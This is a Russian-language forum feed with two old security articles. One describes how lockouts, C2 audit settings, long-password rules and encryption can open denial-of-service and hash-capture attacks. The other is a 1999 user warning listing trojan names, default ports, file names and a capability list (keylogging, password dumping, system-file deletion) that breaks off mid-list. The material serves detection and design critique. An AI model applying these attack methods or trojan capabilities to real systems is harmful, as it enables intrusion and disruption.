						&lt;p&gt;Именно поэтому хэш-значение тщательно охраняется, и не передается по сети в открытом виде при аутентификации пользователя на сервере. Вместо этого используется стандартная схема &amp;quot;запрос-отклик&amp;quot;: сервер посылает случайную последовательность, рабочая станция шифрует ее с вычисленным хэш-значением введенного пароля и отсылает обратно, сервер делает то же самое с имеющимся у него хэш-значением, в случае совпадения двух строк пользователь успешно регистрируется в системе. Но для этого как-то хэш-значение должно оказаться на сервере? Нетрудно понять, что по крайней мере оно должно попадать туда при смене пароля пользователем. А раз так, то злоумышленник, чтобы перехватить хэш, должен дождаться, пока пользователь захочет поменять свой пароль2. А это, к несчастью для него, может произойти в неопределенный момент времени. Если только он не знает этого момента заранее или ... не сможет заставить пользователя сделать это. Вспомним первый пример. Высока вероятность того, что пользователь (или супервизор), узнав о многочисленных попытках взлома своего ресурса (или обнаружив его заблокированным) захочет поменять свой пароль. (Впрочем, если он немного подумает, то он не попадется на эту удочку, и скорее всего попросит администратора отключить блокировку его ресурса в случае &amp;quot;обнаружения нарушителя&amp;quot;). &lt;/p&gt;
						&lt;p&gt;Но на помощь кракеру может прийти другое мощное средство повышения безопасности системы Novell Netware (имеющееся, впрочем, почти во всех ОС, претендующих на защищенность), а именно &amp;quot;заставлять периодически менять пароль&amp;quot; (force periodic password changes). Зная, что администратор системы &amp;quot;повысил&amp;quot; ее защищенность путем периодической обязательной смены паролей, злоумышленнику остается только дождаться момента плановой смены паролей, и золотой ключик, т.е. хэш-значение супервизора у него в кармане. Этот пример я считаю весьма показательным. &lt;/p&gt;
						&lt;p&gt;Пример 3. Новый &amp;quot;нюк&amp;quot; (nuke) - система аудита Windows NT.&lt;br /&gt;&amp;quot;Данные протокола аудита могут быть утеряны из-за нехватки пространства памяти, выделенного для их хранения, сбоя системы...&amp;quot; [1] &lt;/p&gt;
						&lt;p&gt;Как известно, одна из версий Windows NT была сертифицирована по американским требованиям С2 для своего несетевого варианта. И хотя эта сертификация вызывает много вопросов, существует утилита C2Config, которая формально позволяет настроить Windows NT в соответствии с требованиями С2. В частности, эти требования распространяются и на подсистему регистрации и учета (audit). Утилита C2Config предлагает следующую настройку аудита для повышения безопасности всей системы: &lt;/p&gt;
						&lt;p&gt;&amp;quot;Очистка протокола событий&amp;quot; (Event Log Wrapping) - &amp;quot;Не перезаписывать события (очищать вручную)&amp;quot; (Do Not Overwrite Events (Clear Log Manually). &lt;/p&gt;
						&lt;p&gt;Опять все кажется совершенно логичным. Да, администратор должен просмотреть все, что отражено в протоколе, после чего этот протокол можно стереть. Уничтожаться события в защищенной системе автоматически не должны, иначе регистрация атаки может оказаться невозможной. &lt;/p&gt;
						&lt;p&gt;Однако смотрим следующий пункт меню: &amp;quot;Останавливать систему когда протокол безопасности заполнен&amp;quot; (Halt system when security log is full). Настройка по С2, естественно, &amp;quot;Да&amp;quot;. С точки зрения подсистемы аудита это, безусловно, правильно - протокол должен сохраняться всегда. А вот с точки зрения работоспособности системы? &lt;/p&gt;
						&lt;p&gt;Итак, представим себе ленивого, но педантичного администратора, настроившего полностью свою систему по требованиям С2, после чего пребывает в уверенности, что теперь-то ему ничего не угрожает. Тогда хакер реализует массированную &amp;quot;бомбежку&amp;quot; этой системы однотипными запросами, которые система не считает очень опасными, но все же заносит в протокол. И вот рано или поздно, в зависимости от емкости жесткого диска, протокол переполняется и система встает. &lt;/p&gt;
						&lt;p&gt;Итак, многочисленными, но безвредными для системы запросами ее удалось &amp;quot;повесить&amp;quot;. Зачем вам &amp;quot;нюки&amp;quot;, господа кракеры, подарите ненавистному администратору утилиту C2Config! &lt;/p&gt;
						&lt;p&gt;Что самое забавное, в рекомендациях ВМФ США о безопасной инсталляции Windows NT 4.0 [4] пункт об остановке системы при переполнении протокола событий не рекомендуется разрешать! Что ж, здравомыслие иногда торжествует. &lt;/p&gt;
						&lt;p&gt;Чуть-чуть другой вариант отказа в обслуживании, связанный с &amp;quot;параноидальным&amp;quot; использованием системы аудита, состоит в том, что на атакуемую систему массировано посылается шторм запросов, каждый из которых должен быть отражен в протоколе, и система ничем другим не может заниматься, кроме как дописывать в файл все новые и новые события. &lt;/p&gt;
						&lt;p&gt;Пример 4. Пароль больше - кракеру проще.&lt;br /&gt;&amp;quot;... должны осуществляться идентификация и проверка подлинности субъектов доступа при входе в систему по идентификатору (коду) и паролю временного действия длиной не менее восьми буквенно-цифровых символов&amp;quot; [5]. &lt;/p&gt;
						&lt;p&gt;Человеческий фактор в криптосистемах (как, впрочем, и во всем остальном) играет особую и весьма заметную роль [3]. В частности, пользователи очень любят выбирать короткие и осмысленные пароли. Применив отрицание к последнему утверждению, получим, что пользователи не любят выбирать длинные или бессмысленные пароли. Ну а если некоторые характеристики паролей контролируются системой и &amp;quot;слабые&amp;quot; пароли не пропускаются? Проще всего проконтролировать длину пароля, а также совершить некоторые элементарные проверки - на совпадение с именем пользователя, с уже использованным паролем и т.п. &lt;/p&gt;
						&lt;p&gt;Итак, предположим, администратор установил нижнюю границу длину пароля в N символов. И недолго думая, взял и поставил N=15, полагая, что теперь-то ему атаки с перебором паролей совершенно не страшны. &lt;/p&gt;
						&lt;p&gt;Что же сделает пользователь? Пароль из 6 символов типа &amp;quot;A95jwh&amp;quot; он еще в состоянии запомнить, а вот требуемый от него 15-символьный &amp;quot;Rg27#kjs$Zyx83a&amp;quot; он уже не запомнит никогда (тем более, если он у него не один и время от времени меняется). Итак, у него есть два пути: &lt;/p&gt;
						&lt;p&gt;взять бессмысленный пароль и прикрепить его себе на монитор (варианты - системный блок, спрятать в ящик стола); &lt;br /&gt;ввести пароль, который он в состоянии запомнить. &lt;br /&gt;А вот последних паролей не так много. В 80% случаев это будут пароли типа &amp;quot;123456789012345&amp;quot;, &amp;quot;aaaaaaaaaaaaaab&amp;quot;, &amp;quot;svetasvetasveta&amp;quot;, &amp;quot;qwertyuiop[]asd&amp;quot;, &amp;quot;nuvy,blin,daete&amp;quot;, &amp;quot;papauvasisilenv&amp;quot; - т.е. простые повторяющиеся комбинации, рядом стоящие символы на клавиатуре, припев популярной песенки и т.п. А такие пароли кракерам может быть легче вскрыть, чем бессмысленные 6-символьные. &lt;/p&gt;
						&lt;p&gt;Совершенно очевидно, что если система будет требовать от пользователя не только длинный, но и бессмысленный пароль, то вот тут-то он точно повесит его на монитор. Или еще хуже (хуже - потому что пароль на мониторе хотя бы может увидеть администратор и отругать его) - запишет его в файл, а в AUTOEXEC.BAT пропишет команду: &lt;/p&gt;
						&lt;p&gt;login &amp;lt;password.txt &lt;/p&gt;
						&lt;p&gt;Последний аспект коварства длинных паролей - их труднее набирать без ошибок. Ошибся несколько раз - и ... см. пример 1. &lt;/p&gt;
						&lt;p&gt;Пример 5. Шифрование сетевого трафика.&lt;br /&gt;&amp;quot;К программным методам защиты в сети Internet можно отнести прежде всего защищенные криптопротоколы, с использованием которых появляется возможность надежной защиты соединения&amp;quot; [6]. &lt;/p&gt;
						&lt;p&gt;Важнейшей компонентой защиты распределенных вычислительных систем является шифрование информации, критичной к угрозе раскрытия, которая передается по открытым каналам связи (например, Internet). &lt;/p&gt;
						&lt;p&gt;Рассмотрим вероятность успеха одного подвида атаки, направленного на отказ в обслуживании. Он &amp;quot;состоит в передаче с одного адреса такого количества запросов на атакуемый объект, какое позволит трафик (направленный &amp;quot;шторм&amp;quot; запросов)&amp;quot; [6]. &lt;/p&gt;
						&lt;p&gt;Допустим, что без использования методов шифрования трафика (т.е. без защиты от угрозы раскрытия), порог &amp;quot;шторма&amp;quot;, при котором атакуемая система ничем другим не занимается, кроме как обрабатывает все новые и новые &amp;quot;плохие&amp;quot; запросы (и для &amp;quot;хороших&amp;quot; запросов эта система будет отказывать в обслуживании), равняется N запросов в секунду3. Вполне вероятно, что для хакера это N при низкопропускных каналах связи или значительной удаленности его от цели атаки будет недостижимым. &lt;/p&gt;
						&lt;p&gt;Теперь рассмотрим систему, защищенную от угрозы раскрытия применением методов шифрования. (Рассуждая с точки зрения эффективности, совершенно очевиден тот факт, что какими бы быстрыми не были применяемые криптографические алгоритмы, пропускная способность такой системы всегда будет меньше (обычно в 2-5 раз), чем системы без шифрования - т.к. пакеты нужно зашифровывать и расшифровывать). В этом случае хакер может несколько изменить свою атаку на шторм &amp;quot;псевдошифрованными&amp;quot; запросами. Допустим, криптографические алгоритмы вполне совершенны, и хакер не может подделать зашифрованный пакет так, чтобы он воспринимался как правильный4. Но он вполне может подделать пакет так, чтобы он проходил первую (быструю) проверку &amp;quot;по внешнему виду&amp;quot; и поступал в процедуру расшифровки. И вот только она сможет его отвергнуть, расшифровав. Теперь уже совершенно очевидно, что система сможет обрабатывать значительно меньше запросов в секунду, чем N, из-за необходимости их расшифровки. А такое снижение N (до 2 порядков) вполне может привести к тому, что для хакера оно станет достижимым! &lt;/p&gt;
						&lt;p&gt;Резюме.&lt;br /&gt;Так что же получается? Не надо менять свои пароли? Не надо использовать аудит? Не надо шифровать трафик? Или же сформулированный принцип &amp;quot;неповышения вероятности других угроз&amp;quot; невыполним? Я думаю, выполним. Просто при каждом решении, направленным на борьбу с некоторой угрозой, надо тщательно проанализировать, как это решение скажется на других угрозах. И, мне кажется, всегда можно найти более правильный вариант реализации решения. Фирме Novell надо было запрещать идентификацию при подборе паролей только с определенного сетевого адреса (или, еще лучше, всегда разрешать идентификацию с некоторого безопасного адреса). Администратору надо было поставить ограничение на длину пароля в 6 символов и объяснить, как придумывать и запоминать неосмысленные пароли. Регистрацией некоторых событий в протоколе придется жертвовать, если он переполнен и если безотказность системы важна. При реализации системы шифрования пакетов надо придумать некую схему, которая позволяла бы отвергать пакет без его (полной) расшифровки, сведя к минимуму количество необходимых для этого машинных операций. &lt;/p&gt;
						&lt;p&gt;Других обнадеживающим фактом я считаю, что все приведенные примеры не приводили к катастрофическим атакам, и, надеюсь, их не появится в будущем. &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;--------------------------------------------------------------------------------&lt;/p&gt;
						&lt;p&gt;1 Вот один из последних, упоминаний о котором я не встречал. Windows NT можно настроить так, чтобы она не надоедала своим требованием нажать Ctrl+Alt+Del и ввести пароль, а делала это сама - например, с помощью программы Autologon Марка Руссиновича. Но при этом имя пользователя и его пароль будут хранится в реестре в открытом виде! Нужно ли говорить о том, что реестр иногда может быть просмотрен удаленно, а без установки Service Pack 3 это делается вообще элементарно! &lt;/p&gt;
						&lt;p&gt;2 Знатоки Novell Netware не преминут меня подловить, сказав, что при смене пароля новое хэш-значение шифруется старым, и перехват его ничего не даст. А на это возражу, что в некоторых случаях, а именно, если пароль меняет супервизор через программу SYSCON, старое значение пароля у него не спрашивается. &lt;/p&gt;
						&lt;p&gt;3 Эксперименты показывают, что для компьютера класса Pentium/166 это число равно порядка 10000. Причем Windows NT (с установкой даже Service Pack 4) при шторме такой силы сбрасывалась в &amp;quot;синий экран&amp;quot;. &lt;/p&gt;
						&lt;p&gt;4 А также стоит защита от посылки повторных пакетов.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:49:16 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=23#p23</guid>
		</item>
		<item>
			<title>Сладкая Булочка&quot;, или &quot;Ой, а что с моим компьютером?&quot;</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=22#p22</link>
			<description>&lt;p&gt;ЛАМЕРАМ ПОСВЯЩАЕТСЯ &lt;/p&gt;
						&lt;p&gt;Данная информация является лишь попыткой донести до читателя основы и не претендует на то, чтобы быть руководством к действию. &lt;/p&gt;
						&lt;p&gt;Если у вас есть вопросы, буду рад связаться с вами по ICQ : 208745 &lt;/p&gt;
						&lt;p&gt;Немного из личного опыта. Летом того года меня заинтересовала информация из журнала 2600 о проведенной, если не ошибаюсь, в Калифорнии конференции хакеров, а частности о представленной там &amp;quot;Культом Мертвой Коровы&amp;quot; (Cult of the Dead Cow Communications) клиент-сервер апликации Back Orifice, или так называемой BO. &lt;/p&gt;
						&lt;p&gt;Найдя файл и инсталлировав у себя на одном из тест-серверов, а также изменив пассворд доступа, я был приятно удивлен способностями этой ничего не &amp;quot;весящей&amp;quot; (122 kb) серверной части. &lt;/p&gt;
						&lt;p&gt;Интересно, подумалось мне, а есть ли что нибудь еще? И занялся поисками. Поиски мои то заходили в тупик, то давали великолепные результаты и в конце концов я бы оставил их за отсутствием времени, если бы не мой доступ на раутеры своей компании и ее клиентов. Что же я там нашел: то, что BO и NetBus становяться очень популярными в среде &amp;quot;пользователей интернета&amp;quot; (студентов, псевдохакоров, бездельников сети и всяческого около-&amp;quot;криминального&amp;quot; элемента, не уничтоженного как класс в период Великой Социалистической Революции). &lt;/p&gt;
						&lt;p&gt;Попытки сканов моего LAN на предмет выявления зараженного BO или NetBus-ом (you name it) компьютера начали уже просто мозолить глаза и генерировать отдельные сотни килобайт лога. &lt;/p&gt;
						&lt;p&gt;К октябрю-ноябрю того года, имея доступ к компьютерам численностью более 4.000, я решил просканить все их конкретнее на предмет известных мне троянов (к тому времени обладал инфо о 34 их видах, плюс порядка 20 разновидностей). Результаты скана порадовали: 5 процентов пользователей были заражены. Учитывая возможности троянов, я решил предупредить своих знакомых и админов сетей клиентов, собрав некоторую информацию и опубликовав у себя в &amp;quot;базе знаний&amp;quot; компании, а также на своем вебсервере, вебмастером которого я и являюсь (wwwrusskie.com). Сейчас же я хотел предоставить ее и вам, уважаемые мои читатели-он-лайнщики. &lt;/p&gt;
						&lt;p&gt;Итак на 21 января 99 года &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Перечень имен троянов, известных мне (37 названий, без указания версий и дополений)&lt;br /&gt;Acid Shivers &lt;br /&gt;Antigen &lt;br /&gt;Back End &lt;br /&gt;Back Orifice &lt;br /&gt;Back Door &lt;br /&gt;DeepThroat &lt;br /&gt;Devil &lt;br /&gt;Dmsetup &lt;br /&gt;EvilFTP &lt;br /&gt;Executer 1 &lt;br /&gt;Executer 2 &lt;br /&gt;Fore 1.0b &lt;br /&gt;FTP99cmp &lt;br /&gt;GateCrasher &lt;br /&gt;GirlFriend &lt;br /&gt;Hacker&#039;s Paradise &lt;br /&gt;ICKiLLEr &lt;br /&gt;ICQ Troqen &lt;br /&gt;Invisible FTP &lt;br /&gt;Master&#039;s Paradise &lt;br /&gt;Millenium &lt;br /&gt;NetBus &lt;br /&gt;Net Monitor &lt;br /&gt;phAse zero &lt;br /&gt;Phineas Phucker &lt;br /&gt;PSS &lt;br /&gt;Remote Grab &lt;br /&gt;Ripper Pro &lt;br /&gt;Remote windows shutdown) &lt;br /&gt;Shtirlitz &lt;br /&gt;Sivka-Burka &lt;br /&gt;Sstrojg ( Senna Spy Trojan Back Door Generator ) &lt;br /&gt;Sockets de Troje &lt;br /&gt;StealthSpy Beta &lt;br /&gt;Telecommando &lt;br /&gt;Voice &lt;br /&gt;Win Crash &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Список портов, используемых ими по умолчанию (44 основных порта)&lt;br /&gt;Некоторые трояны используют порт 21, 23, 80, 25 и так далее -- порты, которые заняты легальными сервисами: вебсервером, мейлом, телнетом, фтп и так далее. Данные о этих троянах в этом листе не указаны. Многие трояны имеют возможность переадресации сервера на работу с другим портом. Некоторые трояны слушают клиент в большом диапозоне портов допустим с 1000 до 6000. Они тут не указаны. Словом -- удачи:) &lt;/p&gt;
						&lt;p&gt;11000 &lt;br /&gt;1170 &lt;br /&gt;12345 &lt;br /&gt;12346 &lt;br /&gt;1492 &lt;br /&gt;1600 &lt;br /&gt;1999 &lt;br /&gt;20001 &lt;br /&gt;20034 &lt;br /&gt;2023 &lt;br /&gt;2140 &lt;br /&gt; 21544 &lt;br /&gt;23456 &lt;br /&gt;2801 &lt;br /&gt;3024 &lt;br /&gt;31337 &lt;br /&gt;31338 &lt;br /&gt;3150 &lt;br /&gt;40421 &lt;br /&gt;40422 &lt;br /&gt;40423 &lt;br /&gt;40426 &lt;br /&gt; 4092 &lt;br /&gt;456 &lt;br /&gt;4950 &lt;br /&gt;5000 &lt;br /&gt;5001 &lt;br /&gt;50766 &lt;br /&gt;53001 &lt;br /&gt;555 &lt;br /&gt;5714 &lt;br /&gt;5741 &lt;br /&gt;5742 &lt;br /&gt; 61466 &lt;br /&gt;65000 &lt;br /&gt;6969 &lt;br /&gt;6970 &lt;br /&gt;7000 &lt;br /&gt;7300 &lt;br /&gt;7301 &lt;br /&gt;7306 &lt;br /&gt;7307 &lt;br /&gt;7308 &lt;br /&gt;7789 &lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Перечень имен файлов клиентов и серверов для поиска на локальных машинах (107 имен файлов)&lt;br /&gt;Данные даны в форме: filename, (размер файла). Если имя файла встречается несколько раз подряд, а размер разный, это говорит о том, что это информация об одном и том же трояне, но различных его версиях, а следовательно и дополнительных функциях. Данные даны по клиентам и серверам. Данные отдельно по серверам публиковаться не будут, так как при наличии клиента без сервера -- становится ясно, что машина потенциально заражена или используется в целях заражения - что в принципе все едино, и пистон вставить надо в любом случае тому, у кого гадость на ящике:) &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;ACiDShivers.exe (186368) &lt;br /&gt;Agent.exe (293376) &lt;br /&gt;Agent.exe (325632) &lt;br /&gt;Agent.exe (327680) &lt;br /&gt;antigen.exe (19456) &lt;br /&gt;backdoor.exe (233472) &lt;br /&gt;backdoor.exe (241664) &lt;br /&gt;backdoor.exe (294912) &lt;br /&gt;backdoor.exe (344064) &lt;br /&gt;backend.exe (102912) &lt;br /&gt;boclient.exe (57856) &lt;br /&gt;boclient.exe (707072) &lt;br /&gt;bogui.exe (284160) &lt;br /&gt;boserve.exe (124928) &lt;br /&gt;bug.exe (57344) &lt;br /&gt;cfg95.exe (79242) &lt;br /&gt;client.exe (164352) &lt;br /&gt;Client.exe (180224) &lt;br /&gt;client.exe (202240) &lt;br /&gt;client.exe (334848) &lt;br /&gt;client.exe (471552) &lt;br /&gt;client.exe (54272) &lt;br /&gt;Controller.exe (313856) &lt;br /&gt;Controller.exe (340992) &lt;br /&gt;control.exe (499200) &lt;br /&gt;DeepBo.exe (530432) &lt;br /&gt;Devil13.exe (95232) &lt;br /&gt;dmsetup.exe (40188) &lt;br /&gt;Exec.exe (231424) &lt;br /&gt;Exec.exe (249344) &lt;br /&gt;faxmgr.exe (27648) &lt;br /&gt;FixIT.exe (23087) &lt;br /&gt;foreclient.exe (482304) &lt;br /&gt;foresvr.exe (309248) &lt;br /&gt;FTP99cmp.exe (369185) &lt;br /&gt;ftpexe (402944) &lt;br /&gt;gc.exe (221184) &lt;br /&gt;GF.exe (425984) &lt;br /&gt;GF.exe (454656) &lt;br /&gt;gserver.exe (126976) &lt;br /&gt;hs.exe (267264) &lt;br /&gt;ICKiLLeR.exe (534016) &lt;br /&gt;icqclient.exe (31744) &lt;br /&gt;icqcrk.exe (50688) &lt;br /&gt;ICQFlood.exe (24576) &lt;br /&gt;ICQFuckerExtentitions.exe (182272) &lt;br /&gt;icqnuke.exe (10240) &lt;br /&gt;icqtrogen.exe (39424) &lt;br /&gt;inet.drv (36864) &lt;br /&gt;inet.hlp (98304) &lt;br /&gt;KeyHook.dll (54272) &lt;br /&gt;lame.exe (335872) &lt;br /&gt;MSTConfig.exe (378880) &lt;br /&gt;mustget.exe (527360) &lt;br /&gt;NBSvr.exe (612864) &lt;br /&gt;NetBus.exe (1114112) &lt;br /&gt;NetBus.exe (494592) &lt;br /&gt;NetBus.exe (567296) &lt;br /&gt;NetBus.exe (599552) &lt;br /&gt;NetMonitor.exe (205824) &lt;br /&gt;netspy.exe (141312) &lt;br /&gt;Paradise.exe (1096704) &lt;br /&gt;Paradise.exe (1310208) &lt;br /&gt;Paradise.exe (855552) &lt;br /&gt;Paradise.exe (888320) &lt;br /&gt;Paradise.exe (916480) &lt;br /&gt;Paradise.exe (924672) &lt;br /&gt;Patch.exe (494592) &lt;br /&gt;Path.exe (472576) &lt;br /&gt;phase.exe (301568) &lt;br /&gt;Phineas.com (93250) &lt;br /&gt;Phucker.exe (352768) &lt;br /&gt;port.dat (94208) &lt;br /&gt;port.doc (39424) &lt;br /&gt;port.exe (40960) &lt;br /&gt;procmom.exe (14848) &lt;br /&gt;PSS-Client.exe (80384) &lt;br /&gt;readme.exe (102400) &lt;br /&gt;readme.exe (73728) &lt;br /&gt;readme.exe (77824) &lt;br /&gt;readme.exe (98304) &lt;br /&gt;RemoteControl.exe (505344) &lt;br /&gt;rgrab.exe (258048) &lt;br /&gt;RipClient.exe (305664) &lt;br /&gt;RipServer.exe (211968) &lt;br /&gt;RmtEwxC.exe (268800) &lt;br /&gt;server.exe (210432) &lt;br /&gt;Server.exe (211456) &lt;br /&gt;server.exe (296448) &lt;br /&gt;server.exe (533013) &lt;br /&gt;Setup.exe (14336) &lt;br /&gt;sockets23.exe (1082880) &lt;br /&gt;spyserver.exe (30720) &lt;br /&gt;spy.exe (48128) &lt;br /&gt;SysEdit.exe (473088) &lt;br /&gt;SystemPatch.exe (491008) &lt;br /&gt;TeLeCoMMaNDo.exe (327276) &lt;br /&gt;telman.exe (137216) &lt;br /&gt;telserv.exe (235520) &lt;br /&gt;tserv.dll (82432) &lt;br /&gt;uagent.exe (282624) &lt;br /&gt;wave.dll (27648) &lt;br /&gt;Wave.exe (38400) &lt;br /&gt;win32cfg.exe (4128) &lt;br /&gt;wincrash.exe (309248) &lt;br /&gt;windll.exe (331264) &lt;br /&gt;windll.exe (344064) &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Неотсортированный список возможностей нескольких (6-7) троянских коней (406 функций)&lt;br /&gt;Lists most of the commands (description of command) &lt;br /&gt;Hide a task from control + alt + delete &lt;br /&gt;Show a hidden task in control + alt + delete &lt;br /&gt;List Contents of Current Directory &lt;br /&gt;Change To Specified Directory/Drive &lt;br /&gt;Clear Screen &lt;br /&gt;Kill Process by PID (Shown in PS) &lt;br /&gt;Shows Running Processes &lt;br /&gt;Deletes Specified Files &lt;br /&gt;Change Port Acid Shiver Listens on (Until Next Reboot) &lt;br /&gt;Change to default Windows Desktop folder &lt;br /&gt;Change to Windows Recent folder &lt;br /&gt;Change to default WS_FTP folder &lt;br /&gt;Show Version Number of Acid Shiver &lt;br /&gt;Show physical, RAM, CD-ROM, and Network drives &lt;br /&gt;Relay connection to host on port, Control + C to abort &lt;br /&gt;Sendkeys to active window &lt;br /&gt;Show ethernet stats and physical address &lt;br /&gt;Rename the users computer &lt;br /&gt;Shows DOS Environment variables &lt;br /&gt;Beeps the specified number of times &lt;br /&gt;Type &#039;CDROM&#039; for more informationv - Terminate Acid Shiver &lt;br /&gt;Rename a specified disk drive &lt;br /&gt;Type &#039;Shutdown&#039; for more information &lt;br /&gt;Retrives information on specified drive &lt;br /&gt;Disconnect a session by socket index show in &#039;STATUS&#039; &lt;br /&gt;Shows users current system time &lt;br /&gt;Shows users current system date &lt;br /&gt;Shows some general system information about host and user &lt;br /&gt;Show the state of all sockets used since last reboot &lt;br /&gt;Retrieve specified file &lt;br /&gt;Retrieve specified file in hex form &lt;br /&gt;Run the specified shell command &lt;br /&gt;Run the specified command and display results (may lock up) &lt;br /&gt;Make a new directory &lt;br /&gt;Remove a directory and all files and subdirectories inside &lt;br /&gt;Сopy file1 to file2 &lt;br /&gt;Spawn a text based application on a tcp port. &lt;br /&gt;Stops an application from listening for connections. &lt;br /&gt;Lists the applications currently listening for connections. &lt;br /&gt;Creates a directory. &lt;br /&gt;Lists files and directory. You must specify a wildcard if you want more than one file to be listed. &lt;br /&gt;Removes a directory. &lt;br /&gt;Creates an export on the server. &lt;br /&gt;Deletes an export. &lt;br /&gt;Lists current shared resourses (name, drive, access, password). &lt;br /&gt;Copys a file. &lt;br /&gt;Deletes a file. &lt;br /&gt;Searches a directory tree for files that match a wildcard specification. &lt;br /&gt;Compresses a file. &lt;br /&gt;Decompresses a file. &lt;br /&gt;Views the contents of a text file. &lt;br /&gt;Disables the http server. &lt;br /&gt;Enables the http server. &lt;br /&gt;Logs keystrokes on the server machine to a text file. &lt;br /&gt;Ends keyboard logging. To end keyboard logging from the text client, use &#039;keylog stop&#039;. &lt;br /&gt;Captures video and audio (if available) from a video input device to an avi file. &lt;br /&gt;Captures a frame of video from a video input device to a bitmap file. &lt;br /&gt;Captures an image of the server machine&#039;s screen to a bitmap file. &lt;br /&gt;Lists video input devices. &lt;br /&gt;Plays a wav file on the server machine. &lt;br /&gt;Lists current incomming and outgoing network connections. &lt;br /&gt;Disconnects the server machine from a network resource. &lt;br /&gt;Connects the server machine to a network resource. &lt;br /&gt;Views all network interfaces, domains, servers, and exports visable from the server machine. &lt;br /&gt;Pings the host machine. Returns the machine name and the BO version number. &lt;br /&gt;Executes a Back Orifice plugin. &lt;br /&gt;Tells a specific plugin to shut down. &lt;br /&gt;Lists active plugins or the return value of a plugin that has exited. &lt;br /&gt;Terminates a process. &lt;br /&gt;Lists running processes. &lt;br /&gt;Runs a program. Otherwise it will be executed hidden or detached. &lt;br /&gt;Redirects incomming tcp connections or udp packets to another ip address. &lt;br /&gt;Stops a port redirection. &lt;br /&gt;Lists active port redirections. &lt;br /&gt;Creates a key in the registry. &lt;br /&gt;Deletes a key from the registy. &lt;br /&gt;Deletes a value from the registy. &lt;br /&gt;Lists the sub keys of a registry key. &lt;br /&gt;Lists the values of a registry key. &lt;br /&gt;Sets a value for a registry key. &lt;br /&gt;Resolves the ip address of a machine name relative to the server machine. &lt;br /&gt;Creates a dialog box on the server machine with the supplied text and an &#039;ok&#039; button. &lt;br /&gt;Displays system information for the server machine. &lt;br /&gt;Locks up the server machine. &lt;br /&gt;Displays cached passwords for the current user and the screen saver password. &lt;br /&gt;Shuts down the server machine and reboots it. &lt;br /&gt;Connects the server machine and saves any data recieved from that connection to the specified file. &lt;br /&gt;Connects the server machine and sends the contents of the specified file, then disconnects. &lt;br /&gt;Ejecting And Closing The CD-ROM Drive. &lt;br /&gt;Sends a Msg Box To The Host. &lt;br /&gt;Hide\Show Startbar. &lt;br /&gt;Starts a FTP Server (On Port 21). &lt;br /&gt;Captures the screen to a Jpeg around 80 Kb and sends it to you. &lt;br /&gt;Sends Host to A Url Of Your Choice. &lt;br /&gt;Turn Monitor On/Off. &lt;br /&gt;Spawn Prog. &lt;br /&gt;Spawns a program invisibly. &lt;br /&gt;Reboot &lt;br /&gt;Scan for Hosts with DT server running. &lt;br /&gt;Sends a packet to see in host is Running the Server. &lt;br /&gt;Host System info. &lt;br /&gt;Open/Close CDROM &lt;br /&gt;Send &amp;quot;Beep&amp;quot; Signal &lt;br /&gt;Send text to Notepad &lt;br /&gt;Send Message &amp;quot;Yche! Yche!&amp;quot; with interval &lt;br /&gt;Send Applications Bomb &lt;br /&gt;Notepad Flooder &lt;br /&gt;Reboot &lt;br /&gt;Windows Clean Up &lt;br /&gt;ICQ Killer &lt;br /&gt;Full FTP access &lt;br /&gt;Destroy Mouse Double Click &lt;br /&gt;Change All System Colors To Yellow &lt;br /&gt;Hang Up All Connections &lt;br /&gt;Disable CTRL+ALT+DEL Keys &lt;br /&gt;Set Cursor Position To 0,0 &lt;br /&gt;Hide Windows TaskBar &lt;br /&gt;Reboot Computer &lt;br /&gt;Enable Jumping Mouse &lt;br /&gt;Enable Mouse Double Click &lt;br /&gt;Enable CTRL+ALT+DEL Keys &lt;br /&gt;Show Windows TaskBar &lt;br /&gt;Disable Jumping Mouse &lt;br /&gt;Copy EXECUTER To C:\Windows\ Directory &lt;br /&gt;Add EXECUTER To Windows StartUp &lt;br /&gt;Show Message-&#039;Hello&#039; &lt;br /&gt;Show Message-&#039;Hello bitch!!!!!!!!!!!!!!&#039; &lt;br /&gt;Show Message-&#039;Do u ready to fuck your system??????!!!&#039; &lt;br /&gt;Show Message-&#039;ShutUp bitch!!!!!!!!!!&#039; &lt;br /&gt;Show Message-&#039;Get ready to start!!!!!!&#039; &lt;br /&gt;Show Message-&#039;Thats All bitch!!!!!!!!!&#039; &lt;br /&gt;Delete C:\Logo.sys &lt;br /&gt;Delete C:\Windows\Win.com &lt;br /&gt;Delete C:\IO.sys &lt;br /&gt;Delete C:\Windows\System.ini &lt;br /&gt;Delete C:\Windows\Win.ini &lt;br /&gt;Delete C:\Config.sys &lt;br /&gt;Delete C:\Autoexec.bat &lt;br /&gt;Enable Paiting On The Screen(&#039;DIE!!! DIE!!! DIE!!!&#039;) &lt;br /&gt;Disable Paiting On The Screen(&#039;DIE!!! DIE!!! DIE!!!&#039;) &lt;br /&gt;Enable Creating Of Many Forms With Caption(&#039;DIE!!! DIE!!! DIE!!!&#039;) &lt;br /&gt;Disable Creating Of Many Forms With Caption(&#039;DIE!!! DIE!!! DIE!!!&#039;) &lt;br /&gt;Execute File &lt;br /&gt;Change Desktop Colors &lt;br /&gt;Send Message &lt;br /&gt;Hide/Show Taskbar &lt;br /&gt;Open/Close CDROM &lt;br /&gt;Mouse Double Click On/Off &lt;br /&gt;Get Windows, System &amp;amp; Application Directory &lt;br /&gt;Terminate Server &lt;br /&gt;Reboot Computer &lt;br /&gt;&amp;quot;No Access&amp;quot; for server &lt;br /&gt;Self Removing Server &lt;br /&gt;List Dialup parameters (phone, passwords...) &lt;br /&gt;List ICQ UIN &lt;br /&gt;Process List &lt;br /&gt;Start FTP Server &lt;br /&gt;Hides the victims TaskBar &lt;br /&gt;Shows the victims taskBar &lt;br /&gt;Starts an Program on the victims computer, program doesn&#039;t have to be an .EXE, it will start and file with it&#039;s default program too. &lt;br 